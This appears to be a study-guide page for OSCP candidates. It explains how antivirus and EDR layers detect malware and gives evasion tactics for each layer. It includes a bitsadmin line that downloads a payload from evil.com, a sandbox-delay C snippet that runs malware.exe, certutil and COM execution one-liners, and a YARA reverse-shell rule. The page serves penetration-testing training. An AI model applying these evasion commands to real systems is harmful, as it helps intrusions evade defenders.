Domain 3Exploit Dev & AV EvasionCORE

How Antivirus Detection Works

Comprehensive guide to how antivirus and EDR solutions detect malware, covering signature-based, heuristic, behavioral, cloud-based, and sandbox analysis methods with evasion strategies for each.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#antivirus#detection#signature#heuristic#behavioral

How Antivirus Detection Works

Overview

Modern antivirus (AV) and Endpoint Detection & Response (EDR) solutions use multiple layered detection mechanisms to identify malicious activity. Understanding each layer is critical for OSCP — you’ll encounter AV on nearly every Windows machine, and knowing how it works lets you bypass it effectively.

┌─────────────────────────────────────────────────────────┐
│                  AV / EDR Detection Layers               │
├─────────────┬──────────┬──────────┬──────────┬──────────┤
│  Signature  │ Heuristic │ Behavioral│  Cloud   │ Sandbox  │
│  (Static)   │  (Static) │ (Runtime) │ (Remote) │(Remote)  │
└─────────────┴──────────┴──────────┴──────────┴──────────┘

1. Signature-Based Detection

How It Works

Signature-based detection is the oldest and most straightforward AV method. The AV engine maintains a database of known malware hashes and byte patterns. When a file is accessed, created, or executed, the AV computes its hash and compares it against the signature database.

Detection methods:

Method Description Example
MD5 Hash 128-bit hash of the entire file d41d8cd98f00b204e9800998ecf8427e
SHA256 Hash 256-bit hash, more collision-resistant e3b0c44298fc1c149afbf4c8996fb924...
PE Hash Hash of the compiled PE binary (stripped of headers) Used by VirusTotal
YARA Rules Pattern-based matching on byte sequences + strings rule mimikatz { strings: $a = { 5M696D696B61747A } }
Byte Signatures Specific byte sequences in the binary Known exploit kit headers

YARA Example

rule known_reverse_shell {
    meta:
        description = "Detects reverse shell patterns"
        author = "AV Vendor"
    strings:
        $socket = "socket"
        $connect = "connect"
        $cmd = "/bin/sh"
        $ip_pattern = { 4E 73 6C 6F 63 6B }  // "NslocK" bytes
    condition:
        $socket and $connect and $cmd
}

Evasion Strategies

  • Modify the binary: Even a single byte change alters MD5/SHA256 completely
  • Use compiled tools instead of scripts: Compiled binaries are less likely to have known signatures
  • Avoid well-known tools: Don’t use raw mimikatz.exe, PowerShell Empire, or Cobalt Strike out of the box
  • Compile your own: Write custom tools or recompile open-source projects with minor modifications
  • Encoding/Obfuscation: Base64-encode payloads, use different encodings for PowerShell
# This WILL trigger signature detection:
powershell.exe -enc <known_encoded_command>

# This is LESS likely to trigger (but still risky):
# Compile a custom C# payload with unique strings

2. Heuristic Analysis

How It Works

Heuristic analysis doesn’t rely on known signatures. Instead, it examines the structure and characteristics of a file to determine if it exhibits suspicious properties. Think of it as “does this file look like malware?” rather than “is this file known malware?”

What heuristics check for:

  1. Packed/Obfuscated Binaries

    • Unusual section names (.aspack, .UPX, custom names)
    • High entropy sections (indicating encryption/compression)
    • Missing standard sections (.text, .rdata, .data)
  2. Suspicious API Imports

    • VirtualAllocEx, WriteProcessMemory, CreateRemoteThread → Process injection
    • RegOpenKey, RegSetValue → Persistence via registry
    • InternetOpen, URLDownloadToFile → Downloading payloads
    • WinExec, ShellExecute → Spawning child processes
  3. Code Pattern Analysis

    • Anti-debugging calls (IsDebuggerPresent, CheckRemoteDebuggerPresent)
    • Anti-VM calls (DeviceIoControl, CPUID checks)
    • Cryptographic routines (XOR loops, custom encryption)
  4. Scoring System

    • Each suspicious indicator adds points
    • If total score exceeds threshold → flagged as malicious

Heuristic Scoring Example

File: suspicious_tool.exe
├── Packed binary (+30 points)
├── Imports VirtualAllocEx (+20 points)
├── Imports WriteProcessMemory (+20 points)
├── Anti-debugging present (+15 points)
├── No digital signature (+10 points)
├── Unusual section entropy (+15 points)
└── Total: 110 points (Threshold: 75) → MALWARE

Evasion Strategies

  • Avoid process injection APIs: Use APC injection or reflective DLL loading instead
  • Remove anti-debugging code: Clean compilers don’t add these
  • Use legitimate-looking imports: Import only necessary APIs
  • Don’t pack your binaries: Use standard compilation without packers
  • Split suspicious operations: Separate payload download from execution

3. Behavioral Analysis

How It Works

Behavioral analysis monitors runtime activity of processes. It’s the most powerful detection method because it catches threats regardless of how they look statically. EDR solutions excel here.

What behavioral monitoring tracks:

Category Monitored Activities
Process Creation, termination, injection, hollowing
File Creation, modification, deletion, especially in sensitive paths
Registry Run keys, service creation, DLL load order
Network DNS queries, connections to C2, unusual ports
Memory Allocated regions, written code, execution of non-image memory
Privilege Token manipulation, UAC bypass, credential access

Key Detection Points

Process Creation Chain Detection:
┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐
│  cmd.exe │───▶│powershell│───▶│  whoami  │───▶│ ipconfig │
│          │    │  .exe    │    │  .exe    │    │  /all    │
└──────────┘    └──────────┘    └──────────┘    └──────────┘
     │               │               │               │
     ▼               ▼               ▼               ▼
  [LOGGED]      [LOGGED]        [LOGGED]        [LOGGED]
     └─────────────┴─────────────┴─────────────┘
                    │
                    ▼
         Parent-Child Relationship
         Mapped & Flagged as Suspicious

API Hooking

EDR solutions use API hooking to intercept and monitor system calls:

  • User-mode hooking: Hooks DLLs like kernel32.dll, ntdll.dll
  • Kernel-mode hooking: Hooks at the SSDT (System Service Descriptor Table)
  • ETW (Event Tracing for Windows): Monitors structured events

Evasion Strategies

  • Living-off-the-Land (LOTL): Use built-in tools (certutil, bitsadmin, wmic)
  • Direct syscalls: Bypass hooked APIs by calling kernel directly
  • Process injection into trusted processes: Inject into explorer.exe or svchost.exe
  • Time your operations: Delay between suspicious actions to avoid pattern detection
  • Use COM objects: Shell.Application can execute files without CreateProcess
# LOTL - Using certutil to decode a base64 payload
certutil -decode payload.b64 payload.exe

# LOTL - Using bitsadmin for file download
bitsadmin /transfer myjob http://evil.com/payload.exe C:\temp\payload.exe

# Using COM to execute without CreateProcess
powershell -c "$c = New-Object -ComObject Shell.Application; $c.ShellExecute('cmd.exe', '/c whoami', '', 'runas', 1)"

4. Cloud-Based Detection

How It Works

Modern AV solutions send file hashes and telemetry to cloud services for analysis. This leverages massive datasets and machine learning models that would be too resource-intensive to run locally.

Cloud detection pipeline:

Local Agent                    Cloud Service
┌─────────────┐              ┌──────────────────┐
│ 1. Compute   │ ──────────▶ │ 2. Hash Lookup    │
│    SHA256    │   Submit     │    (VirusTotal-   │
│              │              │     like DB)      │
│ 3. If unknown│ ◀──────────  │ 4. Return:       │
│    locally,  │   Result     │    Clean/Known/   │
│    submit to │              │    Suspicious     │
│    cloud     │              │                   │
└─────────────┘              │ 5. If suspicious, │
                             │    run ML model   │
                             │ 6. Return verdict │
                             └──────────────────┘

ML Classification Features:

  • File entropy analysis
  • API call frequency and patterns
  • Network behavior profiles
  • Historical reputation data
  • Community reporting scores

Evasion Strategies

  • Use unique payloads: Never use the same payload twice
  • Avoid known C2 infrastructure: Use fresh domains/IPs
  • Domain fronting: Route C2 through legitimate CDN domains
  • Low-and-slow: Reduce frequency of callbacks to avoid pattern detection
  • Fileless techniques: Stay in memory to avoid file submission

5. Sandbox Analysis

How It Works

Sandboxes are isolated environments where suspicious files are executed and monitored. The sandbox records all file, registry, network, and process activity to determine malicious behavior.

Common sandbox platforms:

  • Cuckoo Sandbox
  • Joe Sandbox
  • Any.Run
  • Hybrid Analysis
  • Vendor proprietary sandboxes

Sandbox Evasion Techniques Used by Malware (and Relevant for Us)

Malware often detects sandboxes to avoid analysis — understanding these helps you know what AV sees:

Detection Method What It Checks Example
VM Artifacts Known VM hardware, MAC addresses, registry keys HKLM\SYSTEM\CurrentControlSet\Enum\IDE\VEN_VBOX
User Behavior Mouse movement, typing patterns, time to interact Sandboxes have no human interaction
System State Number of processes, running services, disk size Sandboxes have minimal background activity
Time-Based Current time, uptime, activation date New VMs have recent creation dates
Network Artifacts DNS queries to known sandbox domains, IP reputation Sandbox IPs are well-known

Time-Delay Evasion

// Common malware technique: delay execution past sandbox timeout
// Most sandboxes run for 3-5 minutes max

#include <windows.h>
#include <time.h>

int main() {
    // Wait 24 hours before executing payload
    Sleep(24 * 60 * 60 * 1000);
    
    // Now execute the real payload
    system("malware.exe");
    return 0;
}

Evasion Strategies

  • Don’t trigger sandbox submission: Avoid dropping suspicious files to disk
  • Use fileless techniques: Execute from memory only
  • Legitimate-looking filenames: update.exe, svchost.exe (in wrong dir still suspicious)
  • Avoid sandbox-triggering behavior: Don’t immediately connect to external IPs on execution

6. Detection Flow: How All Layers Work Together

┌─────────────────────────────────────────────────────────────────┐
│                    FILE EXECUTION FLOW                          │
└─────────────────────────────────────────────────────────────────┘

User clicks malicious.exe
        │
        ▼
┌───────────────────┐
│ 1. Real-time Scan  │  ← Signature check (MD5/SHA256/YARA)
│    (On-Access)     │     Result: CLEAN (no known signature)
└─────────┬─────────┘
          │
          ▼
┌───────────────────┐
│ 2. Heuristic Scan  │  ← Structure analysis, API imports
│                    │     Result: SUSPICIOUS (score: 65/75)
└─────────┬─────────┘
          │
          ▼
┌───────────────────┐
│ 3. Cloud Submit    │  ← Hash sent to cloud for ML analysis
│                    │     Result: UNKNOWN (new hash)
└─────────┬─────────┘
          │
          ▼
┌───────────────────┐
│ 4. Execution       │  ← File runs, behavioral monitoring begins
│    + Monitoring    │
└─────────┬─────────┘
          │
          ▼
┌───────────────────┐
│ 5. Behavioral      │  ← API calls, process creation, network
│    Analysis        │     Result: DETECTED (injection + C2 callback)
└─────────┬─────────┘
          │
          ▼
┌───────────────────┐
│ 6. Block & Alert   │  ← Process terminated, file quarantined,
│                    │     alert sent to SOC
└───────────────────┘

7. Key Windows APIs That Trigger Detection

High-Risk APIs (Always Logged by EDR)

// Process Injection Chain
VirtualAllocEx()        // Allocate memory in remote process
WriteProcessMemory()    // Write code to remote memory
CreateRemoteThread()    // Execute code in remote process
NtCreateThreadEx()      // Undocumented, less monitored

// Credential Access
LsaRetrievePrivateData()    // Access DPAPI secrets
CredRead()                  // Read stored credentials
MiniDumpWriteDump()         // Dump process memory (mimikatz)

// Persistence
RegSetValueEx()           // Modify registry (Run keys)
CreateService()           // Create Windows service
SchTasks()                // Scheduled tasks

// Evasion
IsDebuggerPresent()       // Anti-debugging
CheckRemoteDebuggerPresent()
NtQueryInformationProcess() // Process info queries

APIs to Avoid on OSCP

API Risk Level Alternative
CreateRemoteThread Critical Use APC injection or NtCreateThreadEx
WriteProcessMemory Critical Use NtWriteVirtualMemory (less hooked)
ShellExecute Medium Use COM Shell.Application
WinExec Medium Use CreateProcess with hidden flags
URLDownloadToFile High Use Invoke-WebRequest or certutil

8. Practical OSCP Evasion Tips

Quick Reference Table

Detection Method Best Evasion OSCP Relevance
Signature Use custom/compiled tools HIGH — AV blocks known tools
Heuristic Avoid packing, clean imports MEDIUM — some labs have EDR
Behavioral LOTL, delay operations HIGH — EDR on enterprise boxes
Cloud Fileless, unique payloads MEDIUM — depends on lab setup
Sandbox Don’t trigger submission LOW — rare on OSCP labs

Top 10 OSCP-Specific Tips

  1. Always use powershell -ep bypass — Execution Policy is your first barrier
  2. Use certutil for downloads — Built-in, less suspicious than Invoke-WebRequest
  3. Encode PowerShell commands — Use -EncodedCommand with unique base64
  4. Avoid downloading to C:\Users\Public — Some AV monitors this path heavily
  5. Use rundll32.exe for DLL execution — Legitimate host process
  6. Prefer cmd /c over direct execution — Adds indirection
  7. Use wmic process call create — Alternative process creation
  8. Time your commands — Don’t run everything at once; space operations out
  9. Check AV status first — Get-MpComputerStatus tells you what’s running
  10. Have fallback methods — If PowerShell is blocked, use certutil, bitsadmin, or mshta

AV Check Commands

# Check Windows Defender status
Get-MpComputerStatus

# List all installed AV products
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

# Check Defender exclusion paths
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

# Check if real-time protection is on
Get-MpPreference | Select-Object DisableRealtimeMonitoring

Common AV Products on OSCP Labs

Product Notes
Windows Defender Default on Windows 10/11, most common
McAfee Enterprise labs, aggressive real-time scanning
Symantec Endpoint Protection Enterprise, strong behavioral detection
Sophos Common on PRO labs
CrowdStrike Falcon EDR, very strong behavioral detection

Summary

Understanding AV detection is foundational for AV evasion. Each layer has strengths and weaknesses:

  • Signatures are easy to bypass but catch known threats instantly
  • Heuristics catch families of malware but can be fooled by clean binaries
  • Behavioral analysis is the hardest to evade but requires runtime monitoring
  • Cloud detection is powerful but depends on network connectivity
  • Sandboxes are thorough but can be detected and avoided

For OSCP, focus on: using LOTL binaries, encoding payloads, avoiding well-known tools, and understanding the detection pipeline so you can plan your approach before engaging a target.